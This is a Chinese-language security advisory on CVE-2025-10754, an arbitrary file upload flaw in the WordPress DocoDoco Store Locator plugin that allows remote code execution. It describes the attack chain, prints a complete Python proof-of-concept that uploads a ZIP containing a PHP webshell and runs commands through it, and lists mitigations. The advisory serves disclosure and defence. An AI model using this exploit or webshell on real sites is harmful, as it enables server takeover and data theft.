IPBUF安全漏洞报告
English
CVE-2025-10754 CVSS 7.2 高危

CVE-2025-10754:WordPress DocoDoco Store Locator插件任意文件上传漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10754
漏洞类型
任意文件上传(远程代码执行)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress DocoDoco Store Locator插件

相关标签

CVE-2025-10754WordPress插件漏洞DocoDoco Store Locator任意文件上传远程代码执行RCE文件上传漏洞高危漏洞已认证攻击

漏洞概述

CVE-2025-10754是WordPress DocoDoco Store Locator插件中存在的一个高危安全漏洞。该漏洞源于插件ZIP上传功能中缺少对文件类型的有效验证,允许已认证的攻击者(具有Editor级别及以上权限)向受影响的网站服务器上传任意文件。由于上传的文件类型不受限制,攻击者可以上传包含恶意代码的文件(如PHP Webshell),从而实现远程代码执行(RCE),完全控制受影响的WordPress网站。该漏洞影响该插件所有1.0.1及以下版本,CVSS评分为7.2,属于高危级别。该漏洞由Wordfence安全团队的安全研究员发现并报告。攻击者利用此漏洞需要具备Editor或更高权限的用户账号,但一旦利用成功,攻击者可在服务器上执行任意命令,可能导致网站数据泄露、篡改、植入后门、横向移动等严重后果。由于WordPress插件生态的开放性,这类任意文件上传漏洞在WordPress插件中较为常见,攻击者通常通过社会工程学手段获取Editor级别账号,或利用其他漏洞进行权限提升后再利用此漏洞完成最终的攻击载荷投递。

技术细节

该漏洞存在于DocoDoco Store Locator插件的ZIP文件上传功能中,具体位于includes/Admin/ZIP.php文件的第187行和第275行附近的代码逻辑中。

技术原理:
1. 插件提供了一个ZIP文件上传功能,允许管理员或编辑者上传ZIP压缩包以批量导入商店位置数据。
2. 在处理ZIP文件解压和导入的过程中,插件未对ZIP包内包含的文件类型进行充分的白名单校验。
3. 攻击者可以构造一个包含恶意PHP文件的ZIP压缩包(例如包含一个PHP Webshell)。
4. 上传后,插件会将ZIP文件解压到服务器上的可访问目录中。
5. 由于解压后的PHP文件未被过滤,攻击者可以直接通过浏览器访问该文件,从而在服务器上下文中执行任意PHP代码。

利用条件:
- 攻击者需要拥有Editor级别或更高权限的WordPress账号
- 目标网站安装并启用了DocoDoco Store Locator插件(版本≤1.0.1)
- 插件的ZIP上传功能处于可用状态

利用方式:
1. 制作一个包含恶意PHP文件的ZIP压缩包
2. 以Editor身份登录WordPress后台
3. 导航至插件的ZIP上传功能页面
4. 上传构造的ZIP文件
5. 插件解压文件后,通过直接访问上传的PHP文件路径执行恶意代码
6. 获取服务器控制权,实现远程代码执行

攻击链分析

STEP 1
步骤1:获取Editor权限账号
攻击者通过社会工程学、购买泄露凭证、或利用其他漏洞提升权限等方式,获取目标WordPress网站的Editor级别或更高权限的账号。
STEP 2
步骤2:登录WordPress后台
使用获取的Editor账号登录目标WordPress网站的管理后台。
STEP 3
步骤3:构造恶意ZIP压缩包
制作一个包含恶意PHP文件(如Webshell)的ZIP压缩包。由于插件未验证ZIP内文件类型,可包含任意扩展名的文件。
STEP 4
步骤4:上传ZIP文件
导航至DocoDoco Store Locator插件的ZIP上传功能页面,上传构造的恶意ZIP文件。插件会解压该文件到服务器可访问目录。
STEP 5
步骤5:执行远程代码
通过浏览器直接访问解压后的恶意PHP文件路径,在服务器上下文中执行任意PHP代码,实现远程代码执行。
STEP 6
步骤6:服务器完全控制
获得Web服务器进程权限后,攻击者可读取敏感数据、安装持久化后门、进行横向移动或发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10754 PoC - DocoDoco Store Locator Arbitrary File Upload # Exploit: Upload malicious PHP file via ZIP upload functionality import requests import zipfile import io import os TARGET_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" PASSWORD = "editor_password" # Step 1: Create malicious PHP webshell webshell_content = b"""<?php // Webshell for demonstrating RCE if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>""" # Step 2: Create ZIP file containing the webshell def create_malicious_zip(): zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Place PHP shell inside the ZIP with a .php extension zf.writestr("shell.php", webshell_content) zip_buffer.seek(0) return zip_buffer # Step 3: Authenticate to WordPress as Editor session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login form first (to retrieve any nonce tokens) resp = session.get(login_url) # Submit login credentials login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data, cookies={"wordpress_logged_in_": "test"}) # Step 4: Navigate to the DocoDoco Store Locator ZIP upload page upload_url = f"{TARGET_URL}/wp-admin/admin.php?page=docodoco-store-locator" # Step 5: Upload the malicious ZIP file zip_data = create_malicious_zip() files = { "zip_file": ("exploit.zip", zip_data, "application/zip") } # The plugin endpoint processes ZIP uploads without validating file types inside upload_resp = session.post(upload_url, files=files) # Step 6: Access the uploaded webshell # The shell.php is extracted to a web-accessible directory shell_url = f"{TARGET_URL}/wp-content/uploads/docodoco/shell.php?cmd=id" shell_resp = requests.get(shell_url) if shell_resp.status_code == 200: print(f"[+] RCE successful! Output: {shell_resp.text}") else: print("[-] Exploit failed, check target configuration")

影响范围

DocoDoco Store Locator for WordPress <= 1.0.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)暂时禁用DocoDoco Store Locator插件以消除攻击面;2)如需保留插件功能,应严格限制可访问ZIP上传功能的用户数量,审查所有Editor及以上权限账号;3)在Web服务器层面限制上传目录的脚本执行权限(如在Nginx中配置禁止PHP执行,或在Apache中使用.htaccess限制);4)部署WAF规则拦截对ZIP上传接口的可疑请求;5)监控服务器文件系统,及时发现异常上传的PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表